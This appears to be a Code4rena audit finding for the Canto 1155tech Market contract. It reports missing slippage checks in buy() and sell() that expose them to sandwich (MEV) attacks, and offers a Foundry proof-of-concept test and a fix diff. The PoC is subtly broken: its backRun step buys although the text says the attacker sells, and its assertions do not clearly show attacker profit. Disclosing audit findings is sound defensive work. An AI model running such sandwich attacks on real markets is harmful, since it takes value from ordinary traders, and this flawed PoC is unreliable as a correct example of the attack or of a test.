Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 102/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174
The absence of slippage protection in the buy()
and sell()
functions creates a Sandwich Attack vulnerability, allowing potential attackers to exploit the system. They can take advantage of this by front-running during buy orders and subsequently back-running to sell, thereby profiting from the price discrepancies.
contract MockERC20 is ERC20 { constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } function mint(uint256 amount) public { _mint(msg.sender, amount); } } contract SandWaich is Test { Market market; LinearBondingCurve bondingCurve; MockERC20 token; uint256 constant LINEAR_INCREASE = 1e18; address bob; address alice; address attacker; address john; uint256 bobBalanceNormal; uint256 bobBalanceSandwich; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new MockERC20("Mock Token", "MTK", 1e18); market = new Market("http://uri.xyz", address(token)); john = address(1); alice = address(2); bob = address(3); attacker = address(4); } function test_createNewShare() internal { market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); vm.prank(john); market.createNewShare("Test Share", address(bondingCurve), "metadataURI"); assertEq(market.shareIDs("Test Share"), 1); vm.startPrank(alice); token.mint(10000000000000000000000000000e18); token.approve(address(market), 10000000000000000000000000e18); vm.startPrank(bob); token.mint(10000000000000000000000000000e18); token.approve(address(market), 10000000000000000000000000e18); vm.stopPrank(); vm.startPrank(attacker); token.mint(10000000000000000000000000000e18); token.approve(address(market), 10000000000000000000000000e18); vm.stopPrank(); } function test_SandWichAttack() public { test_createNewShare(); vm.prank(alice); market.buy(1, 100); frontRun(); uint256 balanceBeforeSandwich = token.balanceOf(address(bob)); vm.prank(bob); market.buy(1, 100); backRun(); uint256 balanceAfterSandwich = token.balanceOf(address(bob)); bobBalanceSandwich = balanceBeforeSandwich - balanceAfterSandwich; } function frontRun() internal { vm.startPrank(attacker); market.buy{gas: 1000000}(1, 100); vm.stopPrank(); } function backRun() internal { vm.startPrank(attacker); // with custom gas market.buy(1, 100); vm.stopPrank(); } // test normal buy function test_buy_Normal() public { test_createNewShare(); vm.prank(alice); market.buy(1, 100); // check balance before and after uint256 balanceBeforeNormal = token.balanceOf(address(bob)); vm.prank(bob); market.buy(1, 100); uint256 balanceAfterNormal = token.balanceOf(address(bob)); bobBalanceNormal = balanceBeforeNormal - balanceAfterNormal; // assert normal buy is greater than sandwich attack assertTrue(bobBalanceNormal > bobBalanceSandwich); } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) { return this.onERC1155Received.selector; } }
VSCODE
- function buy(uint256 _id, uint256 _amount) external { + function buy(uint256 _id, uint256 _amount,uint256 _maxSpend) external { require(shareData[_id].creator != msg.sender, "Creator cannot buy"); uint256 rewardsSinceLastClaim = 0; (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID + require(price + fee <= _maxSpend,"INVALID PRICE"); SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy _splitFees(_id, fee, shareData[_id].tokensInCirculation); // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy // Split the fee among holder, creator and platform rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount += _amount; shareData[_id].tokensInCirculation += _amount; tokensByAddress[_id][msg.sender] += _amount; if (rewardsSinceLastClaim > 0) { // console.log("rewardsSinceLastClaim", rewardsSinceLastClaim); SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim); } emit SharesBought(_id, msg.sender, _amount, price, fee); } - function sell(uint256 _id, uint256 _amount) external { + function sell(uint256 _id, uint256 _amount,uint256 _minWant) external { (uint256 price, uint256 fee) = getSellPrice(_id, _amount); + require(price + fee >= _minWant,"INVALID PRICE"); // Split the fee among holder, creator and platform _splitFees(_id, fee, shareData[_id].tokensInCirculation); // The user also gets the rewards of his own sale (which is not the case for buys) uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount -= _amount; shareData[_id].tokensInCirculation -= _amount; tokensByAddress[_id][msg.sender] -= _amount; // Would underflow if user did not have enough tokens // Send the funds to the user SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim + price - fee); emit SharesSold(_id, msg.sender, _amount, price, fee); }
MEV
#0 - c4-pre-sort
2023-11-18T10:10:33Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:32:34Z
MarioPoneder marked the issue as satisfactory